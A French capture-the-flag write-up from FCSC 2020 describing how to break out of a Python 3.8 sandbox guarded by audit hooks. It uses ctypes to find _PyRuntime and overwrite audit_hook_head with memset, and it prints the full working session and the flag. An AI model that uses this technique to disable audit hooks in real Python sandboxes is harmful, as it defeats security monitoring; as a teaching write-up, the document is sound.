[FR] Write-up FCSC 2020 : Why not a Sandbox
2020-05-04 18:00 +0200I - Intro
Le challenge se compose d’un interpréteur Python 3.8.2 avec le quel on peut interagir via une simple connexion TCP obtenable avec netcat
. Cet interpréteur modifié va lever une exception lorsque certaine actions sont effectuée. Il est donc impossible d’appeler os.system
pour obtenir un shell mais aussi d’ouvrir un fichier avec open()
. Le but est donc d’appeler la fonction print_flag()
qui à été ajoutée à la librairie principale de python que l’ont peut accéder via le module ctypes
, celle-ci va aussi lever une exception.
$ nc challenges1.france-cybersecurity-challenge.fr 4005
Arriverez-vous à appeler la fonction print_flag ?
Python 3.8.2 (default, Apr 1 2020, 15:52:55)
[GCC 9.3.0] on linux
>>> import os
Exception ignored in audit hook:
Exception: Action interdite
Exception: Module non autorisé
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
Exception: Action interdite
>>> open("/etc/passwd", "r")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
Exception: Action interdite
>>> import ctypes
>>> ctypes.pythonapi.print_flag()
Exception: Nom de fichier interdit
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python3.8/ctypes/__init__.py", line 386, in __getattr__
func = self.__getitem__(name)
File "/usr/lib/python3.8/ctypes/__init__.py", line 391, in __getitem__
func = self._FuncPtr((name_or_ordinal, self))
Exception: Action interdite
II - Les audit hooks
Les exceptions n’apparaissent pas toutes de la même manière mais celle de import os
indique Exception ignored in audit hook
. L’exception est donc générée dans un audit hook. Les audit hooks sont une nouvelle fonctionnalité de python 3.8 permettant d’exécuter une certaine fonction avant que certain évènements se produisent (Ex: import d’un module, appel d’une fonction, etc.). Ceux-ci sont définis dans le standard PEP 578.
Pour créer un audit hook, la fonction PySys_AddAuditHook()
doit être appelée, celle-ci va ajouter le pointeur de fonction passé en paramètre dans une liste chainée commençant par le membre audit_hook_head
de la structure _PyRuntimeState
. Cette structure est utilisée par l’objet global principal de l’interpréteur Python: _PyRuntime
.
Le but serait donc de mettre le pointeur _PyRuntime.audit_hook_head
à NULL
de manière à “détruire” le liste chainée et rendre inefficace tous les audit hooks. Pour cela il faut connaitre l’offset du membre audit_hook_head
par rapport à _PyRuntime
. La manière la plus simple pour le connaitre est de compiler exactement la même version de python que celle du serveur avec le CFLAGS
-g
de manière à produire un binaire contenant les informations DWARF
. On peut ensuite ouvrir cet interpréteur et y attacher un debuggeur pour connaitre l’offset voulu.
(gdb) print &(_PyRuntime.audit_hook_head)
$1 = (_Py_AuditHookEntry **) 0x788e70 <_PyRuntime+1456>
Donc : &_PyRuntime + 1456 == &(_PyRuntime.audit_hook_head)
.
III - ctypes
ctypes
est le module python permettant d’utiliser des bibliothèques natives, celui-ci n’a pas été entièrement blacklisté par le audit hook, on peut donc se servir de certaine de ces fonctions permettant des actions plutôt utiles.
ctypes._CData.from_address()
: ctypes
possède des classes, toutes héritantes de _CData
, représentant différent types de données en C. On peut donc par exemple utiliser ctypes.c_uint64.from_address(0x12345678)
pour lire un entier non signé de 64 bits à l’adresse 0x12345678
. Cette fonction permet donc d’effectuer des arbitrary write dans l’espace d’adresse de python.
ctypes.memset()
: celle-ci à l’avantage d’être clair, il s’agit de la fonction analogue de memset()
en C, on peut donc s’en servir pour effectuer des arbitrary writes dans l’espace d’adresse de python.
ctypes.addressof()
: Cette fonction retourne l’adresse d’un objet python, on peut donc s’en servir pour obtenir l’adresse de _PyRuntime
. Il est à noter que celle-ci revoit bien l’adresse de l’objet python or ctypes.pythonapi._PyRuntime
retournera un _FuncPtr
permettant d’encapsuler la fonction C (bon ici ce n’est pas une fonction mais le principe reste le même), il faudra donc utiliser ctypes.c_uint64.from_address(ctypes.addressof(ctypes.pythonapi._PyRuntime))
pour lire le premier membre du _FuncPtr
qui correspond à la vrai adresse de _PyRuntime
.
IV - Exploitation finale
A l’aide des informations des paragraphes II et III, on peut facilement déactiver les audit hooks et donc permettre l’appel de print_flag()
:
Arriverez-vous à appeler la fonction print_flag ?
Python 3.8.2 (default, Apr 1 2020, 15:52:55)
[GCC 9.3.0] on linux
>>> import ctypes
>>> addr_obj_run = ctypes.addressof(ctypes.pythonapi._PyRuntime)
>>> ctypes.c_uint64.from_address(addr_obj_run)
c_ulong(140211617380992)
>>> addr_run = 140211617380992
>>> ctypes.c_uint64.from_address(addr_run + 1456)
c_ulong(94195313321648)
>>> hex(94195313321648)
'0x55ab8e30a6b0'
>>> ctypes.memset(addr_run + 1456, 0, 8)
140211617382448
>>> ctypes.c_uint64.from_address(addr_run + 1456)
c_ulong(0)
>>> open("")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
FileNotFoundError: [Errno 2] No such file or directory: ''
>>> ctypes.pythonapi.print_flag
<_FuncPtr object at 0x7f858eeeadc0>
>>> ctypes.pythonapi.print_flag()
super flag: FCSC{55660e5c9e048d988917e2922eb1130063ebc1030db025a81fd04bda75bab1c3}
83